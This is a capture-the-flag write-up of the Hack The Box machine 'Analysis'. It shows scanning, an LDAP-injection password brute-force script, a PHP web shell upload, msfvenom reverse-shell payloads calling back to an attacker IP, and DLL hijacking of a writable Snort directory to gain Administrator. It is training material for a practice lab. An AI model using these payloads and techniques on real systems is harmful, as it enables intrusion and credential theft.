As always we start with a port scan:
╰─ nmap -sC -sV 10.129.230.179
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 17:54 CDT
Nmap scan report for 10.129.230.179
Host is up (0.030s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-29 22:55:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
| smb2-time:
| date: 2024-05-29T22:55:07
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.61 seconds
The first thing that catches my eye is analysis.htb
being used for LDAP and we can add it to our /etc/hosts
file to see the site:
There wasn’t too much to look into on this site so we can move on to subdomain enumeration and find another domain.
╰─ ffuf -u http://analysis.htb -H "Host: FUZZ.analysis.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://analysis.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.analysis.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
internal [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 122ms]
:: Progress: [4989/4989] :: Job [1/1] :: 638 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
We can go ahead and add internal.analysis.htb
to our hosts file and take a look there. The page itself in the frontend gives me a bunch of 404
errors so I opted to scan for directories:
╰─ ffuf -u http://internal.analysis.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -c -recursion -e .php,.txt,.aspx
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal.analysis.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Extensions : .php .txt .aspx
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
users [Status: 301, Size: 170, Words: 9, Lines: 2, Duration: 39ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/users/FUZZ
dashboard [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 41ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/FUZZ
employees [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 315ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/employees/FUZZ
[Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 41ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/users/FUZZ
list.php [Status: 200, Size: 17, Words: 2, Lines: 1, Duration: 131ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/FUZZ
js [Status: 301, Size: 177, Words: 9, Lines: 2, Duration: 34ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/js/FUZZ
upload.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
index.php [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 33ms]
css [Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 296ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/css/FUZZ
img [Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 309ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/img/FUZZ
logout.php [Status: 302, Size: 3, Words: 1, Lines: 1, Duration: 309ms]
lib [Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 306ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/lib/FUZZ
uploads [Status: 301, Size: 182, Words: 9, Lines: 2, Duration: 310ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/uploads/FUZZ
form.php [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 43ms]
tickets.php [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 40ms]
details.php [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 44ms]
license.txt [Status: 200, Size: 1422, Words: 253, Lines: 35, Duration: 39ms]
emergency.php [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 43ms]
[Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 33ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/employees/FUZZ
login.php [Status: 200, Size: 1085, Words: 413, Lines: 30, Duration: 100ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/js/FUZZ
[Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 38ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/css/FUZZ
[Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 39ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/img/FUZZ
[Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 38ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/lib/FUZZ
chart [Status: 301, Size: 184, Words: 9, Lines: 2, Duration: 37ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/lib/chart/FUZZ
[Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 37ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/uploads/FUZZ
[Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 38ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/lib/chart/FUZZ
[Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 41ms]
:: Progress: [106336/106336] :: Job [10/10] :: 298 req/sec :: Duration: [0:00:36] :: Errors: 81 ::
At /employees/login.php
we see a login page which isn’t too surprising and it seems resilient to some default credentials and generic SQLi attempts so I move on to look at the other directories. If we look into /users/list.php
we get an interesting error:
We can fuzz possible parameter names and see which ones work, in this case filtering by size because they all return 200
responses:
╰─ ffuf -u 'http://internal.analysis.htb/users/list.php/?FUZZ=something' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -c --fs 17
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal.analysis.htb/users/list.php/?FUZZ=something
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 17
________________________________________________
name [Status: 200, Size: 406, Words: 11, Lines: 1, Duration: 85ms]
:: Progress: [38267/38267] :: Job [1/1] :: 316 req/sec :: Duration: [0:00:33] :: Errors: 0 ::
We see some interesting behavior in the web page when we look for a name:
I initially thought this was SQL or some other query language so I tried to use the wildcard character *
to indicate I wanted all records and we see the folowing:
I got stuck here for a while thinking that surely it was some kind of SQL injection but got no luck. Eventually I remembered that in the initial port scan we learned that these services are using LDAP and we can try some LDAP injection payloads.
A brief overview of LDAP injection from Synopsis describes a typical LDAP search query like this:
find("(&(cn=" + username +")(userPassword=" + pass +"))")
This seems to match up and it makes sense at this point in time. We can follow the general methodology described on Hacktricks by first testing our attribute names, adopting the query from PayloadsAllTheThings like this:
We can get another set of names like this from the sn
attribute:
There is a link on HackTricks about Posix accounts that is useful for this next step which is getting the description for the target user. From here we can start to sort of brute-force information one character at a time about the user. Trying a
returns nothing in the tables but something like 9
does:
I made a python script to brute force this but found that if any of the characters in the description are the wildcard (*
) then we need to place a backslash in front of it:
import requests
import string
# The base URL for the requests
url = "http://internal.analysis.htb/users/list.php?name=technician)(Description={}*"
# Function to perform the brute force operation
def brute_force_description():
description = ""
consecutive_unfound = 0
max_unfound_threshold = 5
# Define the characters to test, including lowercase letters, digits, and special characters
special_characters = "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
characters_to_test = string.ascii_lowercase + string.digits + special_characters + string.whitespace
while consecutive_unfound < max_unfound_threshold:
found = False
for char in characters_to_test:
# Escape special characters with a backslash
if char in special_characters:
test_description = description + '\\' + char
else:
test_description = description + char
response = requests.get(url.format(test_description))
if len(response.content) == 418: # Check if response length is 418
if char in special_characters:
description += '\\' + char
else:
description += char
print(f"Found character: {char} - Current description: {description}")
found = True
consecutive_unfound = 0 # Reset the counter
break
if not found:
description += "*"
consecutive_unfound += 1
print(f"Character not found, appending '*'. Current description: {description}")
print(f"Final description: {description}")
if __name__ == "__main__":
brute_force_description()
This works and we get our password:
From here we can log in to the /employee/login.php
page from earlier using the username: technician@analysis.htb
:
From here there are a few things to take note of: in the tickets
section I found something that looks important for privilege escalation later:
If we go to the SOC Report
section we can upload files:
There seems to be little sanitization and if we upload a PHP web shell we can get it working from the /uploads
directory we found earlier:
I opted to use a meterpreter
shell for the added utility and ease of use it provides:
╰─ msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.31 LPORT=1337 -f raw > gabe.php
Uploading this and navigating to it worked but the shell dies way too quickly so I opted to use the web shell to execute another executable I uploaded that would give me a shell. Then migrating to a new process like we did in Appsanity.
╰─ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.15.31 LPORT=1338 -f exe > gabe.exe
Then we catch it and migrate, in this output you can even see the previous session dying on us:
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://10.10.15.31:1338
[*] 10.129.230.179 - Meterpreter session 2 closed. Reason: Died
[!] https://10.10.15.31:1338 handling request from 10.129.230.179; (UUID: pdoiummv) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.15.31:1338 handling request from 10.129.230.179; (UUID: pdoiummv) Staging x64 payload (202844 bytes) ...
[!] https://10.10.15.31:1338 handling request from 10.129.230.179; (UUID: pdoiummv) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 3 opened (10.10.15.31:1338 -> 10.129.230.179:58897) at 2024-05-29 21:25:44 -0500
meterpreter > getuid
Server username: ANALYSIS\svc_web
meterpreter > execute -H -f notepad
Process 8816 created.
meterpreter > migrate 8816
[*] Migrating from 9228 to 8816...
[*] Migration completed successfully.
meterpreter >
From here we can use PrivescCheck.ps1 to look for a path to another user.
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_import PrivescCheck.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute "Invoke-PrivescCheck"
[+] Command execution completed:
---SNIP---
Looking through the results, we find a password for that Jhon Doe
user from earlier:
Using these credentials and evil-winrm
get us our user flag:
╰─ evil-winrm -u jdoe@analysis.htb -i analysis.htb
Enter Password:
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\jdoe\Desktop> ls
Directory: C:\Users\jdoe\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/30/2024 12:54 AM 34 user.txt
In addition to completing a look through Bloodhound output, if we look in the C:
directory we see that Snort is being used - which is an open-source intrusion prevention system. Given I am already crawling around the file system I figured that it must be misconfigured somehow. We can get the version by using -V
in the command-line:
*Evil-WinRM* PS C:\Snort\bin> .\snort.exe -V
-*> Snort! <*- o" )~ Version 2.9.20-WIN64 GRE (Build 82) '''' By Martin Roesch & The Snort Team: http://www.snort.org/contact#team Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved. Copyright (C) 1998-2013 Sourcefire, Inc., et al. Using PCRE version: 8.10 2010-06-25 Using ZLIB version: 1.2.11
*Evil-WinRM* PS C:\Snort\bin>
We see that the current version is 2.9.20
which seems pretty far off from the most updated version out there. And looking at our user groups in addition to the directory’s permissions, it looks like we can write into this directory:
*Evil-WinRM* PS C:\Snort\lib> net user jdoe
User name jdoe
Full Name john doe
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/4/2024 11:37:29 AM
Password expires Never
Password changeable 1/5/2024 11:37:29 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/30/2024 12:54:40 AM
Logon hours allowed All
Local Group Memberships *Utilisateurs de gesti
Global Group memberships *Utilisateurs du domai
The command completed successfully.
*Evil-WinRM* PS C:\> icacls Snort
Snort AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
BUILTIN\Utilisateurs:(I)(CI)(AD)
BUILTIN\Utilisateurs:(I)(CI)(WD)
CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
We are allowed to add and edit files in the C:\Snort\
directory, which is likely running as a privileged process because of its purpose as an IPS. If we look at the snort config file in C:\Snort\etc\snort.conf
, we can see which DLLs are being loaded:
###################################################
# Step #4: Configure dynamic loaded libraries.
# For more information, see Snort Manual, Configuring Snort - Dynamic Modules
###################################################
# path to dynamic preprocessor libraries
dynamicpreprocessor directory C:\Snort\lib\snort_dynamicpreprocessor
# path to base preprocessor engine
dynamicengine C:\Snort\lib\snort_dynamicengine\sf_engine.dll
# path to dynamic rules libraries
# dynamicdetection directory C:\Snort\lib\snort_dynamicrules
###################################################
So, we can just write in our own malicious DLL that will get used by snort the next time it runs.
╰─ msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=10.10.15.31 LPORT=1339 > sf_engine.dll
You can upload this to the C:\Snort\lib\snort_dynamicpreprocessor
directory and give it a minute or so and our meterpreter
session will get us a session as the administrator.
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.15.31:1339
[*] Sending stage (201798 bytes) to 10.129.230.179
[*] Meterpreter session 4 opened (10.10.15.31:1339 -> 10.129.230.179:58983) at 2024-05-29 21:47:49 -0500
meterpreter > getuid
Server username: ANALYSIS\Administrateur
I was told after completing this box that this was unintended but months later this has not been patched so it must be pseudo-intended in some way I figure.